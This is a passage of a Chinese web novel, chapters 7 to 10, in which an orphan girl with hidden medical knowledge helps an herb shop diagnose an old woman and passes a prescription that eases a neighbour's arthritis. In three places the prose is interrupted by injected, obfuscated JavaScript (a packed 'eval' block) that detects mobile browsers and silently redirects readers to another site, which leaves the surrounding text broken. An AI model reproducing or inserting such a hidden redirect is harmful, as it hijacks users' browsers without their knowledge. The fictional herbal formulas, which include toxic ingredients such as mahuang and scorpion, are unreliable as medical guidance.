许娇娇上前两步,站在短须先生面前,她思索片刻,谨慎开口:“我爹好像……用过桂枝和白芍一起,说是能调和营卫,开腠理,让外邪有路出去;再用知母和石膏……清内里郁热。别的……我就记不大清了。”她刻意隐去了完整的方剂配伍,只提了最具代表性的四味药,且强调是记不清,既显早慧,又不至惊世骇俗。 “桂枝、白芍、知母、石膏……”短须先生喃喃重复,眼神越来越亮。这四味药的组合,正暗合了解表清里的至理!他先前用药,独缺了这清泄内热的一环。这孩子寥寥数语,竟为他拨开了眼前的迷雾。 7. 第七章 医病 “好!好一个内外分看!好一个炭盆之喻!”短须先生此刻再无轻视之心,他郑重地向许娇娇这个孩童拱手作了一揖,“小娘子一语惊醒梦中人,受教了!此证确是寒湿痹阻,郁而化热,老朽先前拘泥常法,只见其寒,未见其热,几致贻误!” 他立刻转向鲁大,恳切道:“大当家,这位小娘子所言极是!老太太之病非药不对症,而是证候已有变化,需更方清热除湿,兼以通痹。请允老朽即刻重新诊脉开方!” 鲁大见这郎中前倨后恭,对一个小娃娃的话如此信服,心中半信半疑。他又看向许娇娇,眼神复杂,凶悍之气却褪去不少,换上了一丝不易察觉渴望:“小……小娘子,你说的,可能作准?你阿爹真治过这样的病?他人在何处坐诊?” 许娇娇迎着他的目光,轻轻点头,语气安静却有种超越年龄的沉稳:“大哥哥,老人家身体要紧。我虽年幼,但父亲教导不敢忘。”她顿了顿,接着轻声道:“我阿爹……我阿爹已经不在了。” ”不在了?”鲁大一脸疑问。 孙二根也忙上前赔笑:“这位壮士,她阿爹……确早已不在人世了。” 鲁大一愣,脸上闪过一丝失望,随即又粗声道:“那你可知你爹用的方子?” “我……我就记得桂枝……”许娇娇声音越来越小,“别的真的记不清了。那时我才四五岁……” 这番情态倒是十足的孩子模样。鲁大见问不出什么,烦躁地摆摆手,又转向短须先生:“少扯这些!今日你们必须给我个说法!” 眼见着鲁大又要发作起来了,孙二根忙转身再次背起那包药材,又急急拉起许娇娇的手:“走了,娇杏,下回我们再来。” 许娇娇无奈,也有些遗憾,却只好随着孙二根的脚步往外走去。 “慢来慢来,鲁大当家的稍安勿躁。” 正闹腾间,缓步从里间走来一位中年人。只见他头戴一顶黑色东坡巾,身着月白色交领道袍,眉宇间带着安抚的笑意,目光明澈。他的出现,让前厅的吵杂声骤然小了下来。 此人才是张记生药铺的东主。刚才那个短须先生是张记生药铺的廖大夫,但不是东家。 张东家在后堂听得清楚。这小女娃的话虽不多,却点到了关键——老太太的病症,或许真有寒热错杂之嫌。 张东家认得孙二根,因为孙二根常来此地给他的浑家抓药…… 他心中念头急转。鲁大老娘这病拖了数年,已是沉疴顽疾。先前廖大夫开的方子以温散为主,他也看了本无大错,但近来老人病情加重,他也心中打鼓。眼下这小女娃的话,倒给了他提了个醒。 “鲁大当家,”张东家上前一步,朝鲁大拱手作揖,“方才多有得罪,在下正在会客,多有失礼,还请见谅。老太太的病或许真需更方。这位小娘子既说与她父亲曾治过的病症相似,可否容在下细问几句?” 鲁大瞪着他,黑脸绷得紧紧的,手中木棒仍未放下。但转头看向门外牛车上的老娘,见老母亲已醒,正颤巍巍地朝这边望着,眼神里满是责备,他心头一软。 “阿娘……”他低声唤道,快步走到车边,“您怎么样?” 老妇人喘息几口,断续道:“狗儿……莫要为难人家……” 鲁大见老娘这般模样,哪里还硬得起来。他起身,粗声道:“姓张的,你且说说,要如何治?” 张东家松了口气,忙道:“请大当家将老太太移入内堂,容在下再诊脉细察。” 鲁大沉吟片刻,挥手示意手下将他阿娘小心抬入内堂。 张东家这才转向许娇娇,温言问道:“小娘子方才说,老太太病症与你父亲曾治过的一例相似,不知……你父亲是如何诊治的?” 许娇娇心中飞快思量。她如今不过七八岁,若说得太过详尽,反惹人疑。只能推说是从前跟在父亲身边,零零碎碎记得些。 她垂下眼,做出一副努力回忆的样子,细声细气道:“我爹好像……好像说过,这种病,像是秋天打湿的柴禾堆。” “柴禾堆?”张东家一怔,连一旁的鲁大都竖起了耳朵。 “嗯。”许娇娇点点头,声音稍微大了点,带着孩童讲述见闻的认真,“我爹说,外头淋了雨,柴禾摸上去又冷又潮,就像老奶奶怕冷、关节疼。但柴堆捂在里头久了,自己会慢慢发热,甚至闷出烟来。这时候,如果只想着在外头点火烤干,里头的闷热遇上外面的火,反而会烧得更厉害,让人更难受。” 她顿了顿,似乎在回忆更难的词:“所以……不能光在外面加火。得……得小心地把柴堆扒开些,让里头的热气透出来,同时还要慢火把外头的湿气烘干。我爹好像……就是用了桂枝、白芍来通络散外寒,又加了知母、石膏来清里面的郁热。就像……既开窗散闷气,又生火驱潮气。” 这番话一出口,满堂皆静。 张东家心中剧震!这湿柴闷烧之喻,何其精当!简直是将外寒内热、寒热错杂的复杂病机,用最朴素的日常景象剖解得明明白白。这绝非一个普通孩童能凭空编造,必是长期跟随明医,听了无数深入浅出的讲解,才能将玄妙的医理内化至此等境界。 他看向许娇娇的眼神彻底变了,先前那点因她年幼而生的疑虑烟消云散,取而代之的是惊叹与恍然:“湿柴闷烧……开窗散火……妙喻!妙喻啊!”他激动地捋须,对鲁大道,“大当家,这位小娘子真是一语点醒梦中人!老太太之症,确如她所言,是外有寒湿痹阻,内有郁热滋生!廖先生和我先前的用药,只重烘烤外湿,却忘了内热已生,险些误事!” 鲁大虽不完全懂医理,但这湿柴堆的例子实在生动,他一下子就听明白了要害——原来不是药完全不对,是药劲用错了方向,差点把他娘这湿柴堆给点炸了!他看向许娇娇的目光,少了审视,多了信服。 许娇娇见效果达到,立刻又缩回孩童应有的状态,小声补充道:“我……我就记得爹这么比划过,别的……好多话我都听不懂了。” 张东家此刻心中已一片透亮,再无犹豫,向许娇娇郑重一揖:“多谢小娘子赐教。”随即转身对鲁大道,“大当家,在下已有十成把握。请允我立即为老太太更方!” 鲁大粗声道:“你且治着。若我娘不见好,你这铺子……” “大当家放心!”张东家忙道,“在下定当尽心。” 张东家走入内堂,和那个姓廖的短须先生仔细为老妇人诊脉。这一次,他特别留意了脉象中的滑数之象,又察看了舌苔——果然黄腻。再回想老人手心潮热、腿脚冰凉之症,心中豁然开朗。 这确是外寒内热、寒热错杂之证!廖大夫也一脸愧色,站在桌前看着张东家亲自书写提笔开方,在原先温散的基础上,加入了清热利湿之品。写毕,亲自抓药煎煮。 趁这间隙,鲁大命人将老妇人安置在榻上,盖好被褥。老妇人神志稍清,絮絮叨叨说着话。鲁大蹲在榻边,垂首听着,全无方才的凶悍模样。 许娇娇在一旁静静看着,心中感慨。这鲁大虽是个莽汉,待母至孝,倒不失为一条血性汉子。 不多时,药已煎好。张东家亲自端来,鲁大小心喂母亲服下。 老妇人服了药,不多时便觉腹中温热,周身酸痛似有松快之感。她长舒一口气,喃喃道:“这药……舒服……” 鲁大闻言大喜,连声道:“娘觉得舒服便好!” 张东家也松了口气,又诊了脉,道:“药已对症。老太太且安心歇息,这药每日一剂,连服三日再看。” 鲁大点头应下,神色缓和许多。他又看向许娇娇,忽然道:“小女娃,你那些草药,是要卖的吧?” 许娇娇一愣,忙道:“是,正是想卖给张记药铺。” 鲁大一挥手:“掌柜的,这女娃的草药,我买了!你按市价算,钱我来出。” 鲁大见他娘有好转,对张东家也恭敬了许多,由张家匹夫转成掌柜的,对许娇娇更是心存感激。 张东家却未立刻接话,他看向许娇娇,目光温和中带着探究:“小娘子,你方才说的诊治思路……令尊许大郎,可是落溪村的许铭许大郎?” 许娇娇讶然点头。 张东家脸上顿时浮现感慨与怀念:“果然……方才听你提及鲁老太太的症候,又提到那几味药,我便觉得这思路似曾相识。许大郎与我,算是故交了。”他转向一脸不解的鲁大与李二根解释道,“约莫五六年前,我这铺子里收到一批以次充好的药材,险些酿成大祸,是路过的许大郎一眼辨出,当众点破,才替我保住了招牌,也免去一场官司。许大郎医术精湛,性子却淡泊,不喜张扬,此后虽偶有往来,也多是他指点我些药材鉴别之道,鲜少谈及病症。方才听小娘子提及,才知大郎竟已仙逝……”言罢,他神色黯然,沉默片刻,再看向许娇娇时,眼神里已多了几分长辈的怜惜。 他正色对鲁大道:“大当家美意,张某心领。但许小娘子这些草药,铺子按市价收,钱款分文不少,此乃买卖本分。至于谢仪,”他看向许娇娇,“既是故人之女,又于今日之事有启发之功,张某自有道理。” 张东家走到柜台后拨动算盘:“黄精、石斛皆是上品,那黄堇炮制也得法……共计三千二百文。”他顿了顿,看向孙二根,“二根兄,铜钱沉重,不如兑成银子?另外,许大郎昔年之恩,张某一直未曾寻得机会报答。这些药材市价之外,我再单独加二两银子,权作给故人之后添件冬衣,万勿推辞。” 于是,张东家将药材钱兑了二两九钱银子,又包了额外的二两,一并交给李二根仔细收好。 ……许娇娇又惊又喜,推辞了一番收下。 鲁大见事情已了,老娘病情也见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“此乃医家本分,二根兄何须客气。”张东家欣然点头,引孙二根到一旁仔细问了症状,沉吟片刻,便提笔写下一张方子,亲自抓了药包好,口中还细细嘱咐着煎服的禁忌。许娇娇在一旁看着那几味药,像是祛风除湿、强健腰膝的,心里便猜是治疗腰腿疼痛的。 孙二根小心地将药包提在手中,口中连连道谢。。 出得药铺,孙二根看了看天色:“咱们得快些回集市了。三郎那孩子也该回来了,说好了东门瓦子会合。” 两人匆匆往回赶。到了东门瓦子集市附近,果然看见三郎已经等在约定好的地方。少年肩上还挎着个鼓鼓囊囊的褡裢,脸上带着喜色。 “爹!”三郎迎上来,“我见到大哥了,他很好,还托我给娘捎了些东西。”说着拍了拍褡裢,“大哥说,里头有他这两个月的工钱,让给娘抓药用。” 孙二根神色怅然又带着一丝欣慰,点了点头:“好,好……” “娇杏,”三郎和他阿爹打过招呼,又笑着问娇杏,“菰城好玩不?” “好玩。”娇杏笑着回了一句。 三人回到李婆子的摊子前时。李婆子早等得心焦,见他们平安回来,又听孙二根细细说了药铺里的事,又是惊又是喜,搂着许娇娇直念菩萨保佑。 许娇娇从孙二根那儿要了三百文铜钱,塞到李婆子手中:“阿婆,这钱您收着。” 李婆子推辞不受,说这是许娇娇的造化,也是她运气好,遇到这样的好事,许娇娇不依,说阿婆若是不收,就是不把她当自己人。李婆子见她坚持,推辞不过,只好收下了,又细心交代:“如今有了银钱,买些吃食日用,剩下的你要仔细妥帖收好。” 许娇娇却道:“阿婆,这些银子我放在山里不放心。能不能……请您帮我收着?” 李婆子神色一凛,立刻明白了利害。她郑重应下:“你放心,阿婆一定收好。” 许娇娇这才安心。她将四两银子交给李婆子,自己只留下几钱碎银和几十文铜钱应急。 钱财安置妥当,孙二根见山货月卖的差不多了,眼见着看色不早,便收拾了剩下一点山货,一行四人赶在城门关闭前出了城。 暮色中回到落溪村,在李婆子家吃了晚饭。李婆子先打发三郎家去回了金桂,说孙二根晚些到家,省的金桂担心。 许娇娇则将零钱买的几包盐、饴糖和粗布分了一半送给李婆子,李婆子推辞再三才收下。李婆子又让孙二根将许娇娇送到山上的茅屋,帮她安顿好买的一些零碎东西,才告辞而去。 旺财早已欢叫着来接她。回到茅屋,点亮油灯,许娇娇将今日所得一一取出:张铺主送的银针、医书,自己留下的散碎银钱。她轻轻摩挲着那套银针,心中涌起一股安定的暖意。 今日虽不能显露太多,但至少迈出了第一步。有了这笔钱,有了张东家这条门路,往后的日子便有了指望。 窗外,山风拂过竹林,沙沙作响。许娇娇吹熄油灯,在黑暗中睁着眼。 前路依然漫长,但至少,有希望。 8. 第8章 李婆子的思量 菰城一行归来,李婆子心中久久不能平静。 夜里躺在床上,她想起孙二根说的话来,娇杏到底是许大郎的骨肉,自打开窍后,那份聪明伶利就连一个成年人都不一定比得过,那黑脸大汉凶神恶煞的模样;娇杏一个小小人儿,竟能镇定自若地说出那样一番话;许大郎人品果然贵重,就连张东家都对他心存敬意,听说娇杏是他的女儿竟然一下子赠银二两,可见人活在世多做善事是必要的,备不住这善报就会应验在自家身上。还有那些沉甸甸的银子…… 最让她心里不安的,是那一包银子。 四两九钱银。李婆子活了大半辈子,还从未一次见过这么多钱。寻常庄户人家,一年的嚼用也不过三五两银子。娇杏一个八岁的孤女,去了一趟城竟然就挣回了这许多。 李婆子翻来覆去,怎么也睡不着。她想起许大郎夫妇——那对十几年前突然出现在落溪村的夫妻。许大郎医术高明却深居简出,柳氏美貌温婉却总带着愁容。他们从不说自己的来历,村里人只当是避祸来的。娇杏从小聋哑,像个木头人似的,谁想一场大病之后,竟开了窍,还会说话了…… “唉……”李婆子轻叹一声,心里又喜又忧。 喜的是娇杏总算像个正常孩子了,还认药识字,往后的生计有了指望。忧的却是……这丫头突然显出的本事,会不会惹来麻烦?一个无依无靠的孤女,若被人知道她手里有钱,又会看病认药…… 她想起水月庵的水仙姑,想起村里那些说娇杏克亲的流言,心头一阵发紧。 这几日正是农忙的当口,田里早稻育秧的活儿一刻也耽误不得。李婆子天不亮就下了地,弯腰在秧田里忙活了半晌,累得腰都快直不起来。歇气的当儿,她拄着锄头,望着自家那还没翻整的水田,心头那把火又“噌”地蹿了上来——她那个败家子老二,这节骨眼上又不知道野到哪个骚狐狸的被窝里去了,留下这一摊子活计,全要她这老骨头来扛。她这是前世造了什么孽,才生下这么个不省心的东西! 正憋着一肚子火没处撒,院门那边忽然传来“哐哐哐”的敲门声,李婆子将那点烦闷和着口水咽回肚里,把手在粗布围裙上草草一抹,一边朝门口走,一边没好气地扬声道:“谁呀!敲魂呢这是?来了来了!” 门一拉开,外头站着的却是她的大儿子福生。汉子脸上带着憨实的笑,额上还有汗,显然是刚忙完自家地里的活计,紧赶着过来的。他搓了搓手,开口道:“阿娘,我那边地拾掇得差不多了……就想着过来瞅瞅。二郎还没影儿?您这儿……有啥要搭把手的不?”话说得有些小心,眼神却朝院里那堆农具瞟去——他是瞒着自家那计较的浑家,偷偷跑来帮忙的。 李婆子见是大儿子,脸上的愠怒霎时化成了三分惊讶,七分软和下来的心酸,嘴里却还是那刀子似的硬话:“是你啊!自家那一亩三分地都拾掇明白了?有空上我这老婆子门前来晃荡。” 福生憨实地笑了笑,侧身就熟门熟路地往里走,“娘,瞧您说的。我那儿都利索了。早起看见老二家田里还没动静,就猜着……他是不是又……” “哼!”李婆子从鼻子里重重哼出一声,算是回答了,转身往屋里去,声音闷闷地传回来,“死在外头最好,省得我看了心烦!” 福生跟进去,自己拎起灶台上的陶壶倒了碗水,咕咚喝下,抹了把嘴才道:“阿娘,您也别总跟自个儿过不去。老二他就那副德行,气坏了您身子不值当。眼下最要紧的是田里的活,秧时可不等人。我今儿个就是来给您搭把手的,您指哪儿,我干哪儿。” 李婆子在围裙上慢慢擦着手,背对着大儿子,没立刻接话。屋里静了片刻,才听见她声音低了些,没了刚才的冲劲儿,透出浓浓的疲惫:“你媳妇儿……知道你过来不?” 福生挠挠头,声音也低了:“没……没特意说。翠兰她……您也知道,心眼小,惦记着自家那点事。可咱是一家人,老二不在,我这当大哥的不能瞅着您的地荒了。” 听到这句“一家人”,李婆子肩膀微微松了一下。她转过身,眼眶有点发红,却故意瞪了儿子一眼:“就你会当好人!回头你那浑家跟你闹,可别赖我。” “不能,不能。”福生赶忙摆手,脸上又堆起那实诚的笑,“阿娘,那咱这就下地?趁日头还没到顶,我先去把田埂和水渠理一理。” 李婆子这才轻轻“嗯”了一声,走到门口,望着大儿子宽厚的背影,那句憋了许久的话终于低低地吐了出来:“福生啊……娘……娘心里头知道。” 福生正弯腰扛起锄头,闻言顿了顿,没回头,只是声音更温和了些:“知道啥呀,您是我阿娘。走吧,阿娘,咱们先把秧田整出来,老二……等他回来我再说道他。” 母子俩前一后出了门,晨光把他们的影子拉得老长。李婆子看着大儿子坚实的后背,心里那团堵了几日的郁气,总算散开了一些。 这一晃日子就如流水,匆匆过去月余。这一日稍微清闲了点,李婆子猛然记起许娇娇来,自打上回回来后,她一直忙着自家的事,顾不得其他。 这日,她匆匆收拾了几块蒸饼,挎着篮子出了门。她没往山上去,而是拐上了另一条小路——往石桥埠李二根家去。 孙二根家住在石桥埠村东头,三间土坯房,院里养着几只鸡。李婆子进门时,正听见屋里传来压抑的呻吟声。 “金桂啊,又疼得厉害?”李婆子掀帘进屋。 炕上躺着个面色蜡黄的妇人,正是孙二根的媳妇金桂。她见李婆子来,勉强撑起身子:“阿姐来了……老毛病,阴雨天就犯……” 李婆子上前扶她躺好,细细端详。金桂不过三十七八的年纪,却已被病痛折磨得形销骨立,一双腿蜷曲着,手指关节粗大变形,显然是疼得久了。 “二根呢?” “去地里了……说要赶在雨前把豆子收了。”金桂喘了口气,“阿姐坐,我给你倒水……” “快躺着别动。”李婆子按住她,在炕边坐下,“我就是来看看你。” 两人说了会儿家常,李婆子话锋一转:“金桂,你这病……请郎中瞧过没有?” 金桂苦笑:“怎么没瞧过,镇上的、城里的都瞧遍了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222019|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。说是痹症,开了不少药,银钱花了不少,可总不见好。这两年越发重了,阴雨天疼得下不了炕。二郎为了我……”她声音哽咽,“把家里的积蓄都掏空了。” 李婆子心里发酸。她知道孙二根一家不易——大郎在城里做活,工钱大半寄回来给娘抓药;自打二郎夭折,金桂这病就没好过,如今三郎还小,四囡才八岁;一家人的担子全压在孙二根肩上。 “阿姐,”金桂忽然抓住李婆子的手,眼眶泛红,“你说我这病……还能好么?我要是……要是走了,二郎和孩子们可怎么办……” “别胡说!”李婆子斥道,“你还年轻,总能治好的。” 话虽如此,她心里也没底。金桂这病拖了五六年,眼见着一天重似一天。村里人都说,怕是没治了。 正说着话,孙二根从地里回来了。见李婆子在,忙打了招呼。 李婆子使了个眼色,两人走到院里。 “二根,金桂这病……真没别的法子了?” 孙二根抹了把汗,神色疲惫:“该想的法子都想了。上会张大夫说了,这是顽疾,得慢慢养。可养病得花钱啊……”他蹲下身,闷声道,“前些日子大山捎回来的工钱,又抓了半个月的药。眼瞅着又快断了。” 李婆子沉默片刻,压低声音道:“二根,阿姐跟你说个事……这事……我也琢磨了有些日子。你还记得那日你从城里药铺回来和我说的话不。” “记得。”阿姐是说娇杏的事吧!” “可不是咋地,你说瞧见娇杏那丫头说起医理来似乎有许大郎的影子,就连张大夫都夸赞,我琢磨着她虽是个孩子,可备不住……倒像是真懂些医理。” 孙二根点头:“是啊,我也纳闷。她说起药理来头头是道,张博士都听住了。许大郎在世时确实有些本事,许是娇杏从小跟在她爹身边,虽然那会儿不说不笑,眼睛耳朵却是好的,看也看会了些?” “我就是这么想的。”李婆子道,“娇杏如今开了窍,又会说话了,从前在她爹身边见过的、听过的,许是都想起来了。我琢磨着……她既认得出药,又说得出道道,或许……或许对金桂的病,也能知道些她爹用过的方子?” 孙二根眼睛一亮,随即又黯下去:“可她毕竟是个孩子……金桂这病,多少郎中都瞧不好……” “死马当活马医吧。”李婆子道,“总比干等着强。那丫头心善,昨日若不是你带她去药铺,她也卖不了药。咱们去问问,她若知道些什么她爹用过的法子,咱们试试也不亏。” 孙二根沉吟良久,终于点头:“那……问问?” “问问。”李婆子下定决心,“过两日我去山上找她,探探口风。她若真知道些什么,咱们就试试。诊金……咱们虽不宽裕,也不能白让人出力。” “那是自然。”孙二根忙道,“只要金桂能好些,怎么都行。” 两日后,天气晴好。 李婆子挎着篮子,装了半篮鸡蛋、一包红糖,又揣了几个铜钱,独自往山上去。一路上,她心里七上八下——娇杏那孩子,真能知道些什么吗? 9. 第9章 求药方 到了茅屋前,院门虚掩着。李婆子推门进去,见院里晒着几簸箕草药,旺财趴在日头下打盹,听见动静,抬起头摇了摇尾巴。 “娇杏?”李婆子唤了一声。 屋里应了一声,许娇娇快步走出来,手里还拿着把药锄。见是李婆子,她眼睛一亮:“阿婆来了!” 李婆子打量她——小脸晒黑了些,却精神了不少,一双眼睛亮晶晶的。 “晒药呢?”李婆子将篮子递过去,“给你带了几个鸡蛋,补补身子。” 许娇娇忙推辞:“阿婆您留着吃,我这儿有……” “拿着!”李婆子不由分说塞进她手里,又在院里石墩上坐下,“阿婆来,是有件事想问问你。” 许娇娇见她神色郑重,也认真起来:“阿婆您说。” 李婆子斟酌着开口:“娇杏啊,阿婆知道你爹在世时,给人瞧过病……你从小跟在你爹身边,虽然那会儿不言语,可眼睛是瞧得见的。阿婆想问问……你可还记得,你爹有没有治过……腿脚疼痛、关节肿大的病人?” 许娇娇心中一动。她记得前几日进城时,孙二根和李婆子曾提过金桂的腿病,似乎是风湿痹症。 “阿婆说的是……像金桂婶婶那样的病?”她轻声问。 李婆子连连点头:“正是正是!你金桂婶那腿,疼了五六年了,如今下不了炕,手指头都伸不直了。” 许娇娇垂下眼,做出一副努力回想的样子。她穿越后继承了原身的部分记忆,虽然零碎,但确实有些许大郎行医的片段。 “我好像……记得一点。”她慢慢说,“有一回,有个阿婆来家里,走路一瘸一拐的,手指头也肿着。我阿爹给他瞧了,说是痹症。” 李婆子身子前倾:“然后呢?你爹怎么治的?” “我阿爹说了好些话,我那会儿听不懂。”许娇娇摇摇头,“就记得……他开了药方,里头有桂枝、白芍……还有什么防风、麻黄。对了,还用了蜈蚣和全蝎,说是能通经络。” 这些药名,她是凭前世记忆说出的,但此刻只能推说是从父亲那里看来、听来的。 李婆子听得半懂不懂,只急急问道:“那……那阿婆后来好了么?” 许娇娇想了想,原身记忆中似乎有后续——那老人后来又来过一次,走路利索多了,还带了只鸡来感谢。 “似乎,好些了。”她不确定地说,“后来他又来过,能自己走路了。” 李婆子心头一热,抓住许娇娇的手:“娇杏,好孩子,你再仔细想想!你爹开的方子,你还记得多少?或者……他有没有说过,这病该怎么治?” 许娇娇面露难色:“阿婆,我那会儿小,又不会说话,很多事记不清了。我只记得些药名,具体怎么用、用多少,我真不知道。” 她虽有医术在身,但一个八岁孩子若说出完整的辨证论治,未免太过惊人,只能推说记得零星片段。 李婆子有些失望,但转念一想,能记得这些药名,已是难得。许大郎的医术她是信得过的,若能用他从前治过的方子,说不定真对金桂的病。 “娇杏啊,”李婆子恳切道,“阿婆想求你件事……你能不能,把记得的药名都写下来?咱们拿去给郎中瞧瞧,说不定能用上。” 许娇娇点头:“这我可以试试。只是……阿婆,我爹说过,一样的病,不同的人用药也不一样。金桂婶婶的病,得亲眼看了才能知道该用什么药。” 李婆子明白她的意思。可让一个八岁的孩子去给人瞧病,这话她说不出口。能拿到药名,已是意外之喜了。 “好孩子,你先把记得的写下来。”李婆子道,“阿婆拿去给郎中参详参详。若真有用,阿婆一家都记你的情。” 许娇娇应下,进屋取了纸笔——这是张掌柜送的,她平日用来记药名。她回忆着前世治疗风湿痹症的常用方剂,斟酌着写下几味相对平和、适合初试的药:桂枝、白芍、知母、白术、防风、麻黄、生姜、甘草。 写罢,她吹干墨迹,递给李婆子:“阿婆,我就记得这些了。具体怎么用,还得让郎中定夺。” 李婆子如获至宝,小心折好揣进怀里:“好,好。阿婆这就去找郎中问问。” 临走前,她又叮嘱:“娇杏,这事……别跟外人说。你就当是阿婆来问你爹从前的事,记住了?” 李婆子也是忘记了,娇杏如今虽然会说话,但她这个后山茅屋,平日里,都无人来,大家都怕她邢克的名声,怕和她接触后被克死了,就连村里的闲汉无赖也是深信不疑,所以,这也是她一个女娃,独自居住在山里相对安全的原因,这个封建时代,读书人很少,都是愚昧的民众,对于邢克、神佛的信仰十分崇尚。 许娇娇点头:“我晓得。” 李婆子这才放心离去。下山路上,她摸着怀里那张纸,心里既盼着这方子真能管用,又觉得让一个孩子写方子,实在有些荒唐。 可眼下,还有什么法子呢? 李婆子没有回家,径直去了孙二根家。 “二根,我问了娇杏。”她一进门便道,“那孩子记得些她爹用过的药,我让她写下来了。”她取出那张纸,“咱们……找个郎中瞧瞧?” 孙二根接过纸,看着上面工整的字迹,愣了愣:“这字……是娇杏写的?” “是她写的。”李婆子道,“那孩子开了窍后,学什么都快。” 孙二根展开纸,看着上面的一串的药名,他不识字,也不懂医,但有些字体他依稀记得曾在金桂的药方中见过。 看着这些字体,他心怀忐忑,“阿姐,”他犹豫道,“这……靠谱么?” “总得试试。”李婆子道,“娇杏说了,这是她爹从前用过的方子,治好过人的。咱们找个信得过的郎中,让他瞧瞧,若能合用,就抓几副试试。” 炕上的金桂听见动静,虚弱地问:“二根……什么方子?”孙二根忙进屋,蹲在炕边,握住妻子的手:“金桂,阿姐寻了个方子,是许大郎从前用过的。许大郎的医术,你是知道的。” 金桂眼中闪过一丝希冀,随即又黯下去:“又是什么方子……这些年吃的药还少么……” “这次不一样。”孙二根柔声道,“是许大郎的方子。” 许大郎生前虽低调,但村里人有个头疼脑热,找他瞧过,往往药到病除。金桂也听说过他的本事。 她沉默片刻,轻声道:“那……试试吧。” 孙二根眼眶一热,重重点头:“好,咱们试试。” 这一夜,孙二根家的小院里,久违地燃起了希望的火苗。 而山上的茅屋里,许娇娇正就着油灯,在纸上写下更多关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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坐堂的是位姓陈的老大夫,接过纸细细看了一遍,眉头渐渐皱起。 李婆子心头一紧:“大夫,这方子……不妥么?” 陈大夫却摇头:“非也非也。这方子……开得极妙啊!”他指着纸上几味药,“桂枝、白芍调和营卫,知母清内热,白术健脾祛湿,防风、麻黄散表寒——这是针对寒热错杂之痹症的配伍。敢问……这方子真是许大郎所留?” 李婆子含糊应道:“是……是早年留下的。” “许大郎果然深藏不露。”陈大夫感叹,“这方子看似寻常,实则君臣佐使配伍精当。若是用于寒热错杂、表里同病的痹症,当有良效。”他顿了顿,“只是具体剂量需调整,也要看病人当下证候。” 李婆子心中又惊又喜。惊的是娇杏那孩子随手写下的方子,竟被老大夫这般推崇;喜的是金桂的病,或许真有转机。 她按陈大夫调整后的剂量抓了五副药,又买了些外用的药酒,匆匆赶回石桥埠。 “二根,药抓回来了。”她将药包递给李二根,“陈大夫说……这方子很好。” 孙二根接过药,手微微发颤:“阿姐,真……真能管用?” “试试吧。”李婆子道,“总得试试。” 10. 第10章 金桂能走了 金桂躺在炕上,看着丈夫煎药,眼中并无多少期待。这些年吃了太多药,苦水灌了一碗又一碗,病却一日重似一日。她早已不抱希望了。 第一碗药下去,并无动静。 第二碗,依旧。 第三碗喝完,金桂只是觉得身上暖了些,疼痛却未减多少。 “算了……”她虚弱地说,“别浪费银钱了。” 孙二根红着眼眶:“再吃一副,就一副!” 第四副药煎好时,那日阴雨绵绵,正是金桂最难熬的时候。她浑身关节疼如刀割,冷汗涔涔,几乎昏死过去。 孙二根颤抖着手喂她喝完药,守在炕边,心如刀绞。 约莫过了一个时辰,金桂忽然轻轻“咦”了一声。 “怎么了?”孙二根忙问。 “好像……”金桂缓缓动了动手指,“好像……没那么疼了?” 不是完全不疼,而是那种钻心刺骨的锐痛,变成了钝钝的酸胀。她试着屈了屈膝——往常这个动作会让她疼出眼泪,今日竟能勉强做到。 孙二根简直不敢相信:“当……当真?” 金桂又活动了下手腕,虽然依旧僵硬,但活动范围似乎大了些。她眼中渐渐泛起泪光:“好似……当真松快了些……” 李婆子闻讯赶来时,金桂已经能在搀扶下坐起身了。虽然依旧虚弱,虽然关节仍旧肿大,但那种萦绕不散的剧痛,确确实实减轻了。 “阿姐……”金桂握住李婆子的手,泪水滚落,“这药……这药真有用……” 李婆子背过身去,悄悄抹了把眼角。她想起山上那个安静采药的小小身影,心中百感交集。 消息传到山上时,已是翻年后。 李婆子又来看许娇娇,带了一篮子鸡蛋,还有金桂硬塞给她的一块粗布。 “金桂好了不少。”李婆子轻声道,“吃了十几副药,如今能下炕慢慢走几步了。虽然还没全好,但……总算有盼头了。” 许娇娇心中一宽:“那就好。” 李婆子看着她,眼里挂着泪,最终只是说:“娇杏啊,你爹留下的方子救了金桂一命,阿婆心里知道,多亏了你。” “阿婆,”许娇娇拉着李婆子的手,温声细气:“阿婆,您怎么还跟我客气,金桂婶的病能有起色,也是她的造化,我只是做了我该做的。阿婆不需要这样。” 李婆子抚了抚她的头,欣慰的点头。“好孩子。” 送走李婆子,许娇娇回到院里。小鸡崽已长出翅膀,在草丛里啄虫。旺财趴在她脚边,尾巴轻轻摇着。 她望着远山,心中思绪万千。 风湿痹症是慢性病,金桂的病拖了五六年,筋骨已损,绝非几副药能根治。但若能缓解疼痛、改善功能,至少让她能下地活动,对这个家庭已是莫大恩德。 许娇娇知道,自己不能出面。一个八岁的孩子会开方治病,太过惊世骇俗。但通过李婆子之手,借父亲之名,或许能在不引人注目的情况下,帮助更多的人。 只是……这条路该怎么走,还需仔细思量。 她想起张记生药铺,想起那套银针,想起鲁大老娘服药后舒展的眉头。 或许,可以慢慢来。先认药,再学脉,一点点展露天分。待年纪稍长,再行医济世,便不会太过突兀。 夕阳西下,山间泛起暮霭。许娇娇起身收拾晒好的药材,动作从容安稳。 来日方长。 